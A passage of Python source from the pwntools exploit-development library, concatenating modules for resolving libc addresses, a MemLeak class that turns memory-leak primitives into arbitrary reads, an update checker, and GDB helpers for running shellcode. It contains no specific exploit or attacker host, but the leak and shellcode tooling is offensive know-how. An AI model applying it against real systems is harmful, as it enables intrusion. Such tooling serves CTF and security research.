            self.status("Couldn't find libc base")
            return None

        for offset in libcdb.get_build_id_offsets():
            address = libbase + offset
            if self.leak.compare(address + 0xC, "GNU\x00"):
                return enhex(''.join(self.leak.raw(address + 0x10, 20)))
            else:
                self.status("Magic did not match")
                pass

    def stack(self):
        """Finds a pointer to the stack via __environ, which is an exported
        symbol in libc, which points to the environment block.
        """
        symbols = ['environ', '_environ', '__environ']

        for symbol in symbols:
            environ = self.lookup(symbol, 'libc')

            if environ:
                break
        else:
            log.error("Could not find the stack")

        stack = self.leak.p(environ)

        self.success('*environ: %#x' % stack)

        return stack






import datetime
import json
import pip
import pkg_resources
import os
import time

from .context import context
from .log import getLogger
from .version import __version__
from .util.misc import read
from .util.misc import write
from .util.web import wget

log = getLogger(__name__)

current_version = pkg_resources.parse_version(__version__)
package_name    = 'pwntools'
package_repo    = 'Gallopsled/pwntools'
update_freq     = datetime.timedelta(days=7).total_seconds()

def available_on_github():
    """Return True if an update is available on Github."""
    url = 'https://api.github.com/repos/%s/tags' % package_repo

    with context.quiet:
        tags = json.loads(wget(url))

    return max(map(pkg_resources.parse_version, [t['name'] for t in tags]))

def available_on_pypi():
    """Return True if an update is available on PyPI."""
    search_command = pip.commands.search.SearchCommand()
    options, _ = search_command.parse_args([package_name])
    pypi_hits = search_command.search(package_name, options)
    for hit in pip.commands.search.transform_hits(pypi_hits):
        if hit['name'] != 'pwntools':
            continue
        return max(map(pkg_resources.parse_version, hit['versions']))

def cache_file():
    """Returns the path of the file used to cache update data, and ensures that it exists."""
    cache_dir  = os.path.expanduser('~/.pwntools-cache')
    cache_file = os.path.join(cache_dir, 'update')

    if not os.path.isdir(cache_dir):
        os.makedirs(cache_dir)

    if not os.path.exists(cache_file):
        write(cache_file, '')

    return cache_file

def last_check():
    """Return the date of the last check"""
    return os.path.getmtime(cache_file())

def should_check():
    """Return True if we should check for an update"""
    if read(cache_file()).strip() == 'never':
        return False
    return time.time() > (last_check() + update_freq)

def perform_check():
    """Perform the update check, and report to the user."""
    pypi = current_version
    try:
        pypi = available_on_pypi()
    except:
        log.warning("An issue occurred while checking PyPI")

    github = current_version
    try:
        github = available_on_github()
    except:
        log.warning("An issue occurred while checking Github")

    best = max(pypi, github, current_version)
    where = None
    command = None

    os.utime(cache_file(), None)

    if best == current_version:
        log.info("You have the latest version of Pwntools (%s)" % best)
        return

    if best == pypi:
        where = 'pypi'
        command = 'pip install -U %s' % package_name
    else:
        where = 'GitHub'
        command = 'pip install -U git+https://github.com/%s.git@%s' % (package_repo, github)

    log.info("A newer version of %s is available on %s (%s --> %s).\n" % (package_name, where, current_version, best) +
             "Update with: $ %s" % command)


def check_automatically():
    if should_check():
        message  = ["Checking for new versions of %s" % package_name]
        message += ["To disable this functionality, set the contents of %s to 'never'." % cache_file()]
        log.info("\n".join(message))
        perform_check()






import functools
import string

from .context import context
from .log import getLogger
from .util.packing import pack
from .util.packing import unpack

log = getLogger(__name__)

class MemLeak(object):
    """MemLeak is a caching and heuristic tool for exploiting memory leaks.

    It can be used as a decorator, around functions of the form:

        def some_leaker(addr):
            ...
            return data_as_string_or_None

    It will cache leaked memory (which requires either non-randomized static
    data or a continouous session). If required, dynamic or known data can be
    set with the set-functions, but this is usually not required. If a byte
    cannot be recovered, it will try to leak nearby bytes in the hope that the
    byte is recovered as a side-effect.

    Arguments:
        f (function): The leaker function.
        search_range (int): How many bytes to search backwards in case an address does not work.
        reraise (bool): Whether to reraise call :func:`pwnlib.log.warning` in case the leaker function throws an exception.

    Example:

        .. doctest:: leaker

            >>> import pwnlib
            >>> binsh = pwnlib.util.misc.read('/bin/sh')
            >>> @pwnlib.memleak.MemLeak
            ... def leaker(addr):
            ...     print "leaking 0x%x" % addr
            ...     return binsh[addr:addr+4]
            >>> leaker.s(0)[:4]
            leaking 0x0
            leaking 0x4
            '\\x7fELF'
            >>> leaker[:4]
            '\\x7fELF'
            >>> hex(leaker.d(0))
            '0x464c457f'
            >>> hex(leaker.clearb(1))
            '0x45'
            >>> hex(leaker.d(0))
            leaking 0x1
            '0x464c457f'
            >>> @pwnlib.memleak.MemLeak
            ... def leaker_nonulls(addr):
            ...     print "leaking 0x%x" % addr
            ...     if addr & 0xff == 0:
            ...         return None
            ...     return binsh[addr:addr+4]
            >>> leaker_nonulls.d(0) == None
            leaking 0x0
            True
            >>> leaker_nonulls[0x100:0x104] == binsh[0x100:0x104]
            leaking 0x100
            leaking 0xff
            leaking 0x103
            True
    """
    def __init__(self, f, search_range = 20, reraise = True):
        self.leak = f
        self.search_range = search_range
        self.reraise = reraise

        # Map of address: byte for all bytes received
        self.cache = {}

        functools.update_wrapper(self, f)

    def __repr__(self):
        return "%s.%s(%r, search_range=%i, reraise=%s)" % (
            self.__class__.__module__,
            self.__class__.__name__,
            self.leak,
            self.search_range,
            self.reraise
        )

    def __call__(self, *a, **kw):
        return self.leak(*a, **kw)

    def struct(self, address, struct):
        """struct(address, struct) => structure object
        Leak an entire structure.
        Arguments:
            address(int):  Addess of structure in memory
            struct(class): A ctypes structure to be instantiated with leaked data
        Return Value:
            An instance of the provided struct class, with the leaked data decoded
        """
        size = sizeof(struct)
        data = self.n(address, size)
        obj = struct.from_buffer_copy(data)
        return obj

    def field(self, address, obj):
        """field(address, field) => a structure field.

        Leak a field from a structure.

        Arguments:
            address(int): Base address to calculate offsets from
            field(obj):   Instance of a ctypes field

        Return Value:
            The type of the return value will be dictated by
            the type of ``field``.
        """
        size   = obj.size
        offset = obj.offset
        data   = self.n(address + offset, size)
        return unpack(data, size*8)

    def field_compare(self, address, obj, expected):
        """field_compare(address, field, expected) ==> bool

        Leak a field from a structure, with an expected value.
        As soon as any mismatch is found, stop leaking the structure.

        Arguments:
            address(int): Base address to calculate offsets from
            field(obj):   Instance of a ctypes field
            expected(int,str): Expected value

        Return Value:
            The type of the return value will be dictated by
            the type of ``field``.
        """
        if not isinstance(expected, (int, str)):
            raise TypeError("Expected value must be an int or str")

        if isinstance(expected, int):
            expected = pack(expected, bytes=obj.size)

        assert obj.size == len(expected)

        return self.compare(address + obj.offset, expected)

    def _leak(self, addr, n, recurse=True):
        """_leak(addr, n) => str

        Leak ``n`` consecutive bytes starting at ``addr``.

        Returns:
            A string of length ``n``, or ``None``.
        """
        if addr < 0:
            return None

        addresses = [addr+i for i in xrange(n)]

        for address in addresses:
            # Cache hit
            if address in self.cache:
                continue

            # Cache miss, get the data from the leaker
            data = None
            try:
                data = self.leak(address)
            except Exception as e:
                if self.reraise:
                    raise

            if data:
                for i,byte in enumerate(data):
                    self.cache[address+i] = byte

            # We could not leak this particular byte, search backwardd
            # to see if another request will satisfy it
            elif recurse:
                for i in range(1, self.search_range):
                    data = self._leak(address-i, i+1, False)
                    if address in self.cache:
                        break
                else:
                    return None

        # Ensure everything is in the cache
        if not all(a in self.cache for a in addresses):
            return None

        # Cache is filled, satisfy the request
        return ''.join(self.cache[addr+i] for i in xrange(n))

    def raw(self, addr, numb):
        """raw(addr, numb) -> list

        Leak `numb` bytes at `addr`"""
        return map(lambda a: self._leak(a, 1), range(addr, addr+numb))


    def _b(self, addr, ndx, size):
        addr += ndx * size
        data = self._leak(addr, size)

        if not data:
            return None

        return unpack(data, 8*size)

    def b(self, addr, ndx = 0):
        """b(addr, ndx = 0) -> int

        Leak byte at ``((uint8_t*) addr)[ndx]``

        Examples:

            >>> import string
            >>> data = string.ascii_lowercase
            >>> l = MemLeak(lambda a: data[a:a+2], reraise=False)
            >>> l.b(0) == ord('a')
            True
            >>> l.b(25) == ord('z')
            True
            >>> l.b(26) is None
            True
        """
        return self._b(addr, ndx, 1)

    def w(self, addr, ndx = 0):
        """w(addr, ndx = 0) -> int

        Leak word at ``((uint16_t*) addr)[ndx]``

        Examples:

            >>> import string
            >>> data = string.ascii_lowercase
            >>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
            >>> l.w(0) == unpack('ab', 16)
            True
            >>> l.w(24) == unpack('yz', 16)
            True
            >>> l.w(25) is None
            True
        """
        return self._b(addr, ndx, 2)

    def d(self, addr, ndx = 0):
        """d(addr, ndx = 0) -> int

        Leak dword at ``((uint32_t*) addr)[ndx]``

        Examples:

            >>> import string
            >>> data = string.ascii_lowercase
            >>> l = MemLeak(lambda a: data[a:a+8], reraise=False)
            >>> l.d(0) == unpack('abcd', 32)
            True
            >>> l.d(22) == unpack('wxyz', 32)
            True
            >>> l.d(23) is None
            True
        """
        return self._b(addr, ndx, 4)

    def q(self, addr, ndx = 0):
        """q(addr, ndx = 0) -> int

        Leak qword at ``((uint64_t*) addr)[ndx]``

        Examples:

            >>> import string
            >>> data = string.ascii_lowercase
            >>> l = MemLeak(lambda a: data[a:a+16], reraise=False)
            >>> l.q(0) == unpack('abcdefgh', 64)
            True
            >>> l.q(18) == unpack('stuvwxyz', 64)
            True
            >>> l.q(19) is None
            True
        """
        return self._b(addr, ndx, 8)

    def p(self, addr, ndx = 0):
        """p(addr, ndx = 0) -> int

        Leak a pointer-width value at ``((void**) addr)[ndx]``
        """
        return self._b(addr, ndx, context.bytes)

    def s(self, addr):
        r"""s(addr) -> str

        Leak bytes at `addr` until failure or a nullbyte is found

        Return:
            A string, without a NULL terminator.
            The returned string will be empty if the first byte is
            a NULL terminator, or if the first byte could not be
            retrieved.

        Examples:

            >>> data = "Hello\x00World"
            >>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
            >>> l.s(0) == "Hello"
            True
            >>> l.s(5) == ""
            True
            >>> l.s(6) == "World"
            True
            >>> l.s(999) == ""
            True
        """

        # This relies on the behavior of _leak to fill the cache
        orig = addr
        while self.b(addr):
            addr += 1
        return self._leak(orig, addr-orig)

    def n(self, addr, numb):
        """n(addr, ndx = 0) -> str

        Leak `numb` bytes at `addr`.

        Returns:
            A string with the leaked bytes, will return `None` if any are missing

        Examples:

            >>> import string
            >>> data = string.ascii_lowercase
            >>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
            >>> l.n(0,1) == 'a'
            True
            >>> l.n(0,26) == data
            True
            >>> len(l.n(0,26)) == 26
            True
            >>> l.n(0,27) is None
            True
        """
        return self._leak(addr, numb) or None


    def _clear(self, addr, ndx, size):
        addr += ndx * size
        data = map(lambda x: self.cache.pop(x, None), range(addr, addr+size))

        if not all(data):
            return None

        return unpack(''.join(data), size*8)

    def clearb(self, addr, ndx = 0):
        """clearb(addr, ndx = 0) -> int

        Clears byte at ``((uint8_t*)addr)[ndx]`` from the cache and
        returns the removed value or `None` if the address was not completely set.

        Examples:

            >>> l = MemLeak(lambda a: None)
            >>> l.cache = {0:'a'}
            >>> l.n(0,1) == 'a'
            True
            >>> l.clearb(0) == unpack('a', 8)
            True
            >>> l.cache
            {}
            >>> l.clearb(0) is None
            True
        """
        return self._clear(addr, ndx, 1)

    def clearw(self, addr, ndx = 0):
        """clearw(addr, ndx = 0) -> int

        Clears word at ``((uint16_t*)addr)[ndx]`` from the cache and
        returns the removed value or `None` if the address was not completely set.

        Examples:

            >>> l = MemLeak(lambda a: None)
            >>> l.cache = {0:'a', 1: 'b'}
            >>> l.n(0, 2) == 'ab'
            True
            >>> l.clearw(0) == unpack('ab', 16)
            True
            >>> l.cache
            {}
        """
        return self._clear(addr, ndx, 2)

    def cleard(self, addr, ndx = 0):
        """cleard(addr, ndx = 0) -> int

        Clears dword at ``((uint32_t*)addr)[ndx]`` from the cache and
        returns the removed value or `None` if the address was not completely set.

        Examples:

            >>> l = MemLeak(lambda a: None)
            >>> l.cache = {0:'a', 1: 'b', 2: 'c', 3: 'd'}
            >>> l.n(0, 4) == 'abcd'
            True
            >>> l.cleard(0) == unpack('abcd', 32)
            True
            >>> l.cache
            {}
        """
        return self._clear(addr, ndx, 4)

    def clearq(self, addr, ndx = 0):
        """clearq(addr, ndx = 0) -> int

        Clears qword at ``((uint64_t*)addr)[ndx]`` from the cache and
        returns the removed value or `None` if the address was not completely set.

        Examples:

            >>> c = MemLeak(lambda addr: '')
            >>> c.cache = {x:'x' for x in range(0x100, 0x108)}
            >>> c.clearq(0x100) == unpack('xxxxxxxx', 64)
            True
            >>> c.cache == {}
            True
        """
        return self._clear(addr, ndx, 8)


    def _set(self, addr, val, ndx, size):
        addr += ndx * size
        for i,b in enumerate(pack(val, size*8)):
            self.cache[addr+i] = b

    def setb(self, addr, val, ndx = 0):
        """Sets byte at ``((uint8_t*)addr)[ndx]`` to `val` in the cache.

        Examples:

            >>> l = MemLeak(lambda x: '')
            >>> l.cache == {}
            True
            >>> l.setb(33, 0x41)
            >>> l.cache == {33: 'A'}
            True
        """
        return self._set(addr, val, ndx, 1)

    def setw(self, addr, val, ndx = 0):
        r"""Sets word at ``((uint16_t*)addr)[ndx]`` to `val` in the cache.

        Examples:

            >>> l = MemLeak(lambda x: '')
            >>> l.cache == {}
            True
            >>> l.setw(33, 0x41)
            >>> l.cache == {33: 'A', 34: '\x00'}
            True
        """
        return self._set(addr, val, ndx, 2)

    def setd(self, addr, val, ndx = 0):
        """Sets dword at ``((uint32_t*)addr)[ndx]`` to `val` in the cache.

        Examples:
            See :meth:`setw`.
        """
        return self._set(addr, val, ndx, 4)

    def setq(self, addr, val, ndx = 0):
        """Sets qword at ``((uint64_t*)addr)[ndx]`` to `val` in the cache.

        Examples:
            See :meth:`setw`.
        """
        return self._set(addr, val, ndx, 8)

    def sets(self, addr, val, null_terminate = True):
        r"""Set known string at `addr`, which will be optionally be null-terminated

        Note that this method is a bit dumb about how it handles the data.
        It will null-terminate the data, but it will not stop at the first null.

        Examples:

            >>> l = MemLeak(lambda x: '')
            >>> l.cache == {}
            True
            >>> l.sets(0, 'H\x00ello')
            >>> l.cache == {0: 'H', 1: '\x00', 2: 'e', 3: 'l', 4: 'l', 5: 'o', 6: '\x00'}
            True
        """
        if null_terminate:
            val += '\x00'

        for i,b in enumerate(val):
            self.cache[addr+i] = b

    def __getitem__(self, item):
        if isinstance(item, slice):
            start = item.start or 0
            stop  = item.stop
            step  = item.step
        else:
            start, stop, step = (item, item+1, 1)

        if None in (stop, start):
            log.error("Cannot perform unbounded leaks")

        return self.n(start, stop-start)[::step]

    def compare(self, address, bytes):
        for i, byte in enumerate(bytes):
            if self.n(address + i, 1) != byte:
                return False
        return True

    @staticmethod
    def NoNulls(function):
        """Wrapper for leak functions such that addresses which contain NULL
        bytes are not leaked.

        This is useful if the address which is used for the leak is read in via
        a string-reading function like ``scanf("%s")`` or smilar.
        """

        @functools.wraps(function, updated=[])
        def null_wrapper(address, *a, **kw):
            if '\x00' in pack(address):
                log.info('Ignoring leak request for %#x: Contains NULL bytes' % address)
                return None
            return function(address, *a, **kw)

        return MemLeak(null_wrapper)

    @staticmethod
    def NoWhitespace(function):
        """Wrapper for leak functions such that addresses which contain whitespace
        bytes are not leaked.

        This is useful if the address which is used for the leak is read in via
        e.g. ``scanf()``.
        """

        @functools.wraps(function, updated=[])
        def whitespace_wrapper(address, *a, **kw):
            if set(pack(address)) & set(string.whitespace):
                log.info('Ignoring leak request for %#x: Contains whitespace' % address)
                return None
            return function(address, *a, **kw)

        return MemLeak(whitespace_wrapper)

    @staticmethod
    def NoNewlines(function):
        """Wrapper for leak functions such that addresses which contain newline
        bytes are not leaked.

        This is useful if the address which is used for the leak is provided by
        e.g. ``fgets()``.
        """

        @functools.wraps(function, updated=[])
        def whitespace_wrapper(address, *a, **kw):
            if '\n' in pack(address):
                log.info('Ignoring leak request for %#x: Contains newlines' % address)
                return None
            return function(address, *a, **kw)

        return MemLeak(whitespace_wrapper)

    @staticmethod
    def String(function):
        """Wrapper for leak functions which leak strings, such that a NULL
        terminator is automaticall added.

        This is useful if the data leaked is printed out as a NULL-terminated
        string, via e.g. ``printf()``.
        """

        @functools.wraps(function, updated=[])
        def string_wrapper(address, *a, **kw):
            result = function(address, *a, **kw)
            if isinstance(result, (str, bytes)):
                result += '\x00'
            return result

        return MemLeak(string_wrapper)







class Device(object):
    arch = None
    bits = None
    endian = None
    serial = None

    def __init__(self, serial=None):
        self.serial = serial

    def __str__(self):
        return self.serial
 
    def __eq__(self, other):
        return self.serial == other or self.serial == str(other)






import importlib

from .version import __version__

version = __version__

__all__ = [
    'args',
    'asm',
    'atexception',
    'atexit',
    'commandline',
    'constants',
    'context',
    'dynelf',
    'encoders',
    'elf',
    'exception',
    'fmtstr',
    'gdb',
    'libcdb',
    'log',
    'memleak',
    'pep237',
    'regsort',
    'replacements',
    'rop',
    'runner',
    'shellcraft',
    'term',
    'tubes',
    'ui',
    'useragents',
    'util',
    'adb',
    'update',
]

for module in __all__:
    importlib.import_module('.%s' % module, 'pwnlib')






"""
Replacement for the Python standard library's atexit.py.

Whereas the standard :mod:`atexit` module only defines :func:`atexit.register`,
this replacement module also defines :func:`unregister`.

This module also fixes a the issue that exceptions raised by an exit handler is
printed twice when the standard :mod:`atexit` is used.
"""

import sys
import threading
import traceback

from .context import context

__all__ = ['register', 'unregister']

_lock = threading.Lock()
_ident = 0
_handlers = {}

def register(func, *args, **kwargs):
    """register(func, *args, **kwargs)

    Registers a function to be called on program termination.  The function will
    be called with positional arguments `args` and keyword arguments `kwargs`,
    i.e. ``func(*args, **kwargs)``.  The current `context` is recorded and will
    be the one used when the handler is run.

    E.g. to suppress logging output from an exit-handler one could write::

      with context.local(log_level = 'error'):
        atexit.register(handler)

    An identifier is returned which can be used to unregister the exit-handler.

    This function can be used as a decorator::

      @atexit.register
      def handler():
        ...

    Notice however that this will bind ``handler`` to the identifier and not the
    actual exit-handler.  The exit-handler can then be unregistered with::

      atexit.unregister(handler)

    This function is thread safe.

    """
    global _ident
    with _lock:
        ident = _ident
        _ident += 1
    _handlers[ident] = (func, args, kwargs, vars(context))
    return ident

def unregister(ident):
    """unregister(ident)

    Remove the exit-handler identified by `ident` from the list of registered
    handlers.  If `ident` isn't registered this is a no-op.
    """
    if ident in _handlers:
        del _handlers[ident]

def _run_handlers():
    """_run_handlers()

    Run registered exit-handlers.  They run in the reverse order of which they
    were registered.

    If a handler raises an exception, it will be printed but nothing else
    happens, i.e. other handlers will be run and `sys.excepthook` will not be
    called for that reason.
    """
    context.clear()
    for _ident, (func, args, kwargs, ctx) in \
        sorted(_handlers.items(), reverse = True):
        try:
            with context.local(**ctx):
                func(*args, **kwargs)
        except SystemExit:
            pass
        except Exception:
            # extract the current exception and rewind the traceback to where it
            # originated
            typ, val, tb = sys.exc_info()
            traceback.print_exception(typ, val, tb.tb_next)

# if there's already an exitfunc registered be sure to run that too
if hasattr(sys, "exitfunc"):
    register(sys.exitfunc)

sys.exitfunc = _run_handlers






import os
import random
import re
import shlex
import tempfile

from . import adb
from . import atexit
from . import elf
from . import tubes
from .asm import _bfdname
from .asm import make_elf
from .asm import make_elf_from_assembly
from .context import LocalContext
from .context import context
from .log import getLogger
from .qemu import get_qemu_user
from .util import misc
from .util import proc

log = getLogger(__name__)

@LocalContext
def debug_assembly(asm, execute=None, vma=None):
    """
    Creates an ELF file, and launches it with GDB.

    This is identical to debug_shellcode, except that
    any defined symbols are available in GDB, and it
    saves you the explicit call to asm().
    """
    tmp_elf = make_elf_from_assembly(asm, vma=vma, extract=False)
    os.chmod(tmp_elf, 0777)

    def unlink():
        with context.silent: os.unlink(tmp_elf)
    atexit.register(lambda: unlink)

    if context.os == 'android':
        android_path = '/data/data/%s' % os.path.basename(tmp_elf)
        adb.push(tmp_elf, android_path)
        tmp_elf = android_path

    return debug(tmp_elf, execute=execute, arch=context.arch)

@LocalContext
def debug_shellcode(data, execute=None, vma=None):
    """
    Creates an ELF file, and launches it with GDB.

    Arguments:
        data(str): Assembled shellcode bytes
        kwargs(dict): Arguments passed to context (e.g. arch='arm')

    Returns:
        A ``process`` tube connected to the shellcode on stdin/stdout/stderr.
    """
    if isinstance(data, unicode):
        log.error("Shellcode is cannot be unicode.  Did you mean debug_assembly?")
    tmp_elf = make_elf(data, extract=False, vma=vma)
    os.chmod(tmp_elf, 0777)

    def unlink():
        with context.silent: os.unlink(tmp_elf)
    atexit.register(lambda: unlink)

    if context.os == 'android':
        android_path = '/data/data/%s' % os.path.basename(tmp_elf)
        adb.push(tmp_elf, android_path)
        tmp_elf = android_path

    return debug(tmp_elf, execute=execute, arch=context.arch)

def _gdbserver_args(pid=None, path=None, args=None, which=None):
    """_gdbserver_args(pid=None, path=None) -> list

    Sets up a listening gdbserver, to either connect to the specified
    PID, or launch the specified binary by its full path.

    Arguments:
        pid(int): Process ID to attach to
        path(str): Process to launch
        args(list): List of arguments to provide on the debugger command line
        which(callaable): Function to find the path of a binary.

    Returns:
        A list of arguments to invoke gdbserver.
    """
    if [pid, path, args].count(None) != 2:
        log.error("Must specify exactly one of pid, path, or args")

    if not which:
        log.error("Must specify which.")

    gdbserver = ''

    if not args:
        args = [str(path or pid)]

    # Android targets have a distinct gdbserver
    if context.bits == 64:
        gdbserver = which('gdbserver64')

    if not gdbserver:
        gdbserver = which('gdbserver')

    if not gdbserver:
        log.error("gdbserver is not installed")

    orig_args = args

    gdbserver_args = [gdbserver]
    if context.aslr:
        gdbserver_args += ['--no-disable-randomization']
    else:
        log.warn_once("Debugging process with ASLR disabled")

    if pid:
        gdbserver_args += ['--once', '--attach']

    gdbserver_args += ['localhost:0']
    gdbserver_args += args

    return gdbserver_args

def _gdbserver_port(gdbserver, ssh):
    which = _get_which(ssh)

    # Process /bin/bash created; pid = 14366
    # Listening on port 34816
    process_created = gdbserver.recvline()
    gdbserver.pid   = int(process_created.split()[-1], 0)

    listening_on = ''
    while 'Listening' not in listening_on:
        listening_on    = gdbserver.recvline()

    port = int(listening_on.split()[-1])

    # Set up port forarding for SSH
    if ssh:
        remote   = ssh.connect_remote('127.0.0.1', port)
        listener = tubes.listen.listen(0)
        port     = listener.lport

        # Disable showing GDB traffic when debugging verbosity is increased
        remote.level = 'error'
        listener.level = 'error'

        # Hook them up
        remote <> listener

    # Set up port forwarding for ADB
    elif context.os == 'android':
        adb.forward(port)

    return port

def _get_which(ssh=None):
    if ssh:                        return ssh.which
    elif context.os == 'android':  return adb.which
    else:                          return misc.which

def _get_runner(ssh=None):
    if ssh:                        return ssh.process
    elif context.os == 'android':  return adb.process
    else:                          return tubes.process.process

@LocalContext
def debug(args, execute=None, exe=None, ssh=None, env=None, **kwargs):
    """debug(args) -> tube

    Launch a GDB server with the specified command line,
    and launches GDB to attach to it.

    Arguments:
        args: Same args as passed to pwnlib.tubes.process
        ssh: Remote ssh session to use to launch the process.
          Automatically sets up port forwarding so that gdb runs locally.

    Returns:
        A tube connected to the target process
    """
    if context.noptrace:
        log.warn_once("Skipping debugger since context.noptrace==True")
        return tubes.process.process(args, executable=exe, env=env)

    if isinstance(args, (int, tubes.process.process, tubes.ssh.ssh_channel)):
        log.error("Use gdb.attach() to debug a running process")

    if env is None:
        env = os.environ

    if isinstance(args, (str, unicode)):
        args = [args]

    orig_args = args

    runner = _get_runner(ssh)
    which  = _get_which(ssh)

    if ssh or context.native or (context.os == 'android'):
        args = _gdbserver_args(args=args, which=which)
    else:
        qemu_port = random.randint(1024, 65535)
        args = [get_qemu_user(), '-g', str(qemu_port)] + args

    # Make sure gdbserver/qemu is installed
    if not which(args[0]):
        log.error("%s is not installed" % args[0])

    exe = exe or which(orig_args[0])
    if not exe:
        log.error("%s does not exist" % orig_args[0])

    # Start gdbserver/qemu
    # (Note: We override ASLR here for the gdbserver process itself.)
    gdbserver = runner(args, env=env, aslr=1, **kwargs)

    # Set the .executable on the process object.
    gdbserver.executable = which(orig_args[0])

    # Find what port we need to connect to
    if context.native or (context.os == 'android'):
        port = _gdbserver_port(gdbserver, ssh)
    else:
        port = qemu_port

    host = '127.0.0.1'
    if not ssh and context.os == 'android':
        host = context.adb_host

    attach((host, port), exe=exe, execute=execute, need_ptrace_scope = False)

    # gdbserver outputs a message when a client connects
    garbage = gdbserver.recvline(timeout=1)

    if "Remote debugging from host" not in garbage:
        gdbserver.unrecv(garbage)

    return gdbserver

def get_gdb_arch():
    return {
        'amd64': 'i386:x86-64',
        'powerpc': 'powerpc:common',
        'powerpc64': 'powerpc:common64',
        'mips64': 'mips:isa64',
        'thumb': 'arm'
    }.get(context.arch, context.arch)


@LocalContext
def attach(target, execute = None, exe = None, need_ptrace_scope = True):
    """attach(target, execute = None, exe = None, arch = None) -> None

    Start GDB in a new terminal and attach to `target`.
    :func:`pwnlib.util.proc.pidof` is used to find the PID of `target` except
    when `target` is a ``(host, port)``-pair.  In that case `target` is assumed
    to be a GDB server.

    If it is running locally and `exe` is not given we will try to find the path
    of the target binary from parsing the command line of the program running
    the GDB server (e.g. qemu or gdbserver).  Notice that if the PID is known
    (when `target` is not a GDB server) `exe` will be read from
    ``/proc/<pid>/exe``.

    If `gdb-multiarch` is installed we use that or 'gdb' otherwise.

    Arguments:
      target: The target to attach to.
      execute (str or file): GDB script to run after attaching.
      exe (str): The path of the target binary.
      arch (str): Architechture of the target binary.  If `exe` known GDB will
      detect the architechture automatically (if it is supported).

    Returns:
      :const:`None`
"""
    if context.noptrace:
        log.warn_once("Skipping debug attach since context.noptrace==True")
        return

    # if execute is a file object, then read it; we probably need to run some
    # more gdb script anyway
    if execute:
        if isinstance(execute, file):
            fd = execute
            execute = fd.read()
            fd.close()

    # enable gdb.attach(p, 'continue')
    if execute and not execute.endswith('\n'):
        execute += '\n'

    # gdb script to run before `execute`
    pre = ''
    if not context.native:
        if not misc.which('gdb-multiarch'):
            log.warn_once('Cross-architecture debugging usually requires gdb-multiarch\n' \
                '$ apt-get install gdb-multiarch')
        pre += 'set endian %s\n' % context.endian
        pre += 'set architecture %s\n' % get_gdb_arch()

        if context.os == 'android':
            pre += 'set gnutarget ' + _bfdname() + '\n'
    else:
        # If ptrace_scope is set and we're not root, we cannot attach to a
        # running process.
        # We assume that we do not need this to be set if we are debugging on
        # a different architecture (e.g. under qemu-user).
        try:
            ptrace_scope = open('/proc/sys/kernel/yama/ptrace_scope').read().strip()
            if need_ptrace_scope and ptrace_scope != '0' and os.geteuid() != 0:
                msg =  'Disable ptrace_scope to attach to running processes.\n'
                msg += 'More info: https://askubuntu.com/q/41629'
                log.warning(msg)
                return
        except IOError:
            pass

    # let's see if we can find a pid to attach to
    pid = None
    if   isinstance(target, (int, long)):
        # target is a pid, easy peasy
        pid = target
    elif isinstance(target, str):
        # pidof picks the youngest process
        pidof = proc.pidof

        if context.os == 'android':
            pidof = adb.pidof

        pids = pidof(target)
        if not pids:
            log.error('No such process: %s' % target)
        pid = pids[0]
        log.info('Attaching to youngest process "%s" (PID = %d)' %
                 (target, pid))
    elif isinstance(target, tubes.ssh.ssh_channel):
        if not target.pid:
            log.error("PID unknown for channel")

        shell = target.parent

        tmpfile = shell.mktemp()
        shell.upload_data(execute or '', tmpfile)

        cmd = ['ssh', '-C', '-t', '-p', str(shell.port), '-l', shell.user, shell.host]
        if shell.password:
            cmd = ['sshpass', '-p', shell.password] + cmd
        if shell.keyfile:
            cmd += ['-i', shell.keyfile]
        cmd += ['gdb %r %s -x "%s" ; rm "%s"' % (target.executable,
                                                 target.pid,
                                                 tmpfile,
                                                 tmpfile)]

        misc.run_in_new_terminal(' '.join(cmd))
        return

    elif isinstance(target, tubes.sock.sock):
        pids = proc.pidof(target)
        if not pids:
            log.error('could not find remote process (%s:%d) on this machine' %
                      target.sock.getpeername())
        pid = pids[0]
    elif isinstance(target, tubes.process.process):
        pid = proc.pidof(target)[0]
    elif isinstance(target, tuple) and len(target) == 2:
        host, port = target
        pre += 'target remote %s:%d\n' % (host, port)

        def findexe():
            for spid in proc.pidof(target):
                sexe = proc.exe(spid)
                name = os.path.basename(sexe)
                # XXX: parse cmdline
                if name.startswith('qemu-') or name.startswith('gdbserver'):
                    exe = proc.cmdline(spid)[-1]
                    return os.path.join(proc.cwd(spid), exe)

        exe = exe or findexe()
    else:
        log.error("don't know how to attach to target: %r" % target)

    # if we have a pid but no exe, just look it up in /proc/
    if pid and not exe:
        exe_fn = proc.exe
        if context.os == 'android':
            exe_fn = adb.proc_exe
        exe = exe_fn(pid)

    if not pid and not exe:
        log.error('could not find target process')

    cmd = None
    for p in ('gdb-multiarch', 'gdb'):
        if misc.which(p):
            cmd = p
            break
    else:
        log.error('no gdb installed')

    cmd += ' -q '

    if exe and context.native:
        if not os.path.isfile(exe):
            log.error('no such file: %s' % exe)
        cmd += ' "%s"' % exe

    if pid and not context.os == 'android':
        cmd += ' %d' % pid

    if context.os == 'android' and pid:
        runner  = _get_runner()
        which   = _get_which()
        gdb_cmd = _gdbserver_args(pid=pid, which=which)
        gdbserver = runner(gdb_cmd)
        port    = _gdbserver_port(gdbserver, None)
        host    = context.adb_host
        pre    += 'target remote %s:%i' % (context.adb_host, port)

    execute = pre + (execute or '')

    if execute:
        tmp = tempfile.NamedTemporaryFile(prefix = 'pwn', suffix = '.gdb',
                                          delete = False)
        log.debug('Wrote gdb script to %r\n%s' % (tmp.name, execute))
        tmp.write(execute)
        tmp.close()
        atexit.register(lambda: os.unlink(tmp.name))
        cmd += ' -x "%s" ; rm "%s"' % (tmp.name, tmp.name)

    log.info('running in new terminal: %s' % cmd)
    misc.run_in_new_terminal(cmd)
    if pid and context.native:
        proc.wait_for_debugger(pid)
    return pid

def ssh_gdb(ssh, process, execute = None, arch = None, **kwargs):
    if isinstance(process, (list, tuple)):
        exe = process[0]
        process = ["gdbserver", "127.0.0.1:0"] + process
    else:
        exe = process
        process = "gdbserver 127.0.0.1:0 " + process

    # Download the executable
    local_exe = os.path.basename(exe)
    ssh.download_file(exe, local_exe)

    # Run the process
    c = ssh.run(process, **kwargs)

    # Find the port for the gdb server
    c.recvuntil('port ')
    line = c.recvline().strip()
    gdbport = re.match('[0-9]+', line)
    if gdbport:
        gdbport = int(gdbport.group(0))

    l = tubes.listen.listen(0)
    forwardport = l.lport

